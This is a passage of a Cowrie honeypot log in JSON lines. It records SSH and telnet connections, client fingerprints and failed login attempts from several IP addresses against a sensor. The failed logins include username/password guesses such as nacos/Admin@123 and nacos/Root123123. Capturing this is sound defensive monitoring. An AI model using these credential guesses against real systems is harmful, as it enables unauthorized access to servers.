rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:22.769227Z","src_ip":"36.253.9.69","session":"3ac003d4c977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"21ops.com","message":"login attempt [nacos/21ops.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:23.865669Z","src_ip":"36.253.9.69","session":"3ac003d4c977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43096,"dst_ip":"159.203.135.109","dst_port":23,"session":"7189aa7ed936","protocol":"telnet","message":"New connection: 38.60.198.128:43096 (159.203.135.109:23) [session: 7189aa7ed936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:24.139704Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43248,"dst_ip":"159.203.135.109","dst_port":23,"session":"162f05aa0d4c","protocol":"telnet","message":"New connection: 38.60.198.128:43248 (159.203.135.109:23) [session: 162f05aa0d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:24.297626Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:25.129760Z","src_ip":"36.253.9.69","session":"3ac003d4c977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":41750,"dst_ip":"10.17.0.5","dst_port":22,"session":"941b50ee34a3","protocol":"ssh","message":"New connection: 36.253.9.69:41750 (10.17.0.5:22) [session: 941b50ee34a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:25.365736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:25.375233Z","src_ip":"36.253.9.69","session":"941b50ee34a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:25.615535Z","src_ip":"36.253.9.69","session":"941b50ee34a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.19849371910095,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:26.001481Z","src_ip":"38.60.198.128","session":"e5422950272b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46878,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4635024af98","protocol":"telnet","message":"New connection: 38.60.198.128:46878 (159.203.135.109:23) [session: d4635024af98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:26.704314Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Admin@123","message":"login attempt [nacos/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:26.725739Z","src_ip":"36.253.9.69","session":"941b50ee34a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:27.969447Z","src_ip":"36.253.9.69","session":"941b50ee34a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58010,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4d78db7084","protocol":"ssh","message":"New connection: 36.253.9.69:58010 (10.17.0.5:22) [session: fc4d78db7084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:28.185073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:28.190167Z","src_ip":"36.253.9.69","session":"fc4d78db7084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.54203915596008,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:28.398662Z","src_ip":"45.81.23.16","session":"f280e3814d45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.55130434036255,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:28.403609Z","src_ip":"45.81.23.16","session":"ca7312078c14","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:28.420357Z","src_ip":"36.253.9.69","session":"fc4d78db7084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad5d1c3a4171","protocol":"telnet","message":"New connection: 38.60.198.128:41772 (159.203.135.109:23) [session: ad5d1c3a4171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:29.321255Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Lenovo123","message":"login attempt [nacos/Lenovo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:29.408412Z","src_ip":"36.253.9.69","session":"fc4d78db7084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":54582,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c659424d432","protocol":"ssh","message":"New connection: 198.98.56.205:54582 (159.203.135.109:22) [session: 2c659424d432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.140132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.147974Z","src_ip":"198.98.56.205","session":"2c659424d432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.155955Z","src_ip":"198.98.56.205","session":"2c659424d432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"welcome","message":"login attempt [user/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.207997Z","src_ip":"198.98.56.205","session":"2c659424d432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48984,"dst_ip":"159.203.135.109","dst_port":23,"session":"131ebac3b7d6","protocol":"telnet","message":"New connection: 38.60.198.128:48984 (159.203.135.109:23) [session: 131ebac3b7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.370021Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.639755Z","src_ip":"36.253.9.69","session":"fc4d78db7084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.27496814727783203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.644841Z","src_ip":"38.60.198.128","session":"131ebac3b7d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58016,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0672efd95ad","protocol":"ssh","message":"New connection: 36.253.9.69:58016 (10.17.0.5:22) [session: a0672efd95ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.905139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:30.909457Z","src_ip":"36.253.9.69","session":"a0672efd95ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:31.167835Z","src_ip":"36.253.9.69","session":"a0672efd95ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:31.217124Z","src_ip":"198.98.56.205","session":"2c659424d432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"34f544e7a93c","protocol":"telnet","message":"New connection: 38.60.198.128:52508 (159.203.135.109:23) [session: 34f544e7a93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:31.285829Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"ksns123@","message":"login attempt [nacos/ksns123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:32.261065Z","src_ip":"36.253.9.69","session":"a0672efd95ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:33.523494Z","src_ip":"36.253.9.69","session":"a0672efd95ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3efa46913d25","protocol":"ssh","message":"New connection: 36.253.9.69:58020 (10.17.0.5:22) [session: 3efa46913d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:33.773562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:33.778616Z","src_ip":"36.253.9.69","session":"3efa46913d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:34.031974Z","src_ip":"36.253.9.69","session":"3efa46913d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54898,"dst_ip":"159.203.135.109","dst_port":23,"session":"3132e86afed8","protocol":"telnet","message":"New connection: 38.60.198.128:54898 (159.203.135.109:23) [session: 3132e86afed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:34.248316Z"}
{"eventid":"cowrie.session.closed","duration":43.356579542160034,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:34.849549Z","src_ip":"38.60.198.128","session":"d527c0004900","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"Root123123","message":"login attempt [nacos/Root123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:35.122335Z","src_ip":"36.253.9.69","session":"3efa46913d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.83176112174988,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:35.507839Z","src_ip":"192.211.53.160","session":"7aaa99880d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:36.378457Z","src_ip":"36.253.9.69","session":"3efa46913d25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.990997076034546,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:36.473274Z","src_ip":"38.60.198.128","session":"ab91a7839136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":58024,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3808aec0e46","protocol":"ssh","message":"New connection: 36.253.9.69:58024 (10.17.0.5:22) [session: e3808aec0e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:36.604110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:36.612016Z","src_ip":"36.253.9.69","session":"e3808aec0e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:36.865130Z","src_ip":"36.253.9.69","session":"e3808aec0e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.9492883682251,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:37.066018Z","src_ip":"38.60.198.128","session":"19dbde55b29b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"1q2w3e4r!","message":"login attempt [nacos/1q2w3e4r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:37.888731Z","src_ip":"36.253.9.69","session":"e3808aec0e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:39.128477Z","src_ip":"36.253.9.69","session":"e3808aec0e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":57188,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe04312936e","protocol":"ssh","message":"New connection: 36.253.9.69:57188 (10.17.0.5:22) [session: 2fe04312936e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:39.367224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:39.372002Z","src_ip":"36.253.9.69","session":"2fe04312936e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:39.616257Z","src_ip":"36.253.9.69","session":"2fe04312936e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35540,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01b2c951c93","protocol":"telnet","message":"New connection: 38.60.198.128:35540 (159.203.135.109:23) [session: f01b2c951c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:40.180777Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34224,"dst_ip":"159.203.135.109","dst_port":23,"session":"43875743aa12","protocol":"telnet","message":"New connection: 38.60.198.128:34224 (159.203.135.109:23) [session: 43875743aa12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:52:40.254421Z"}
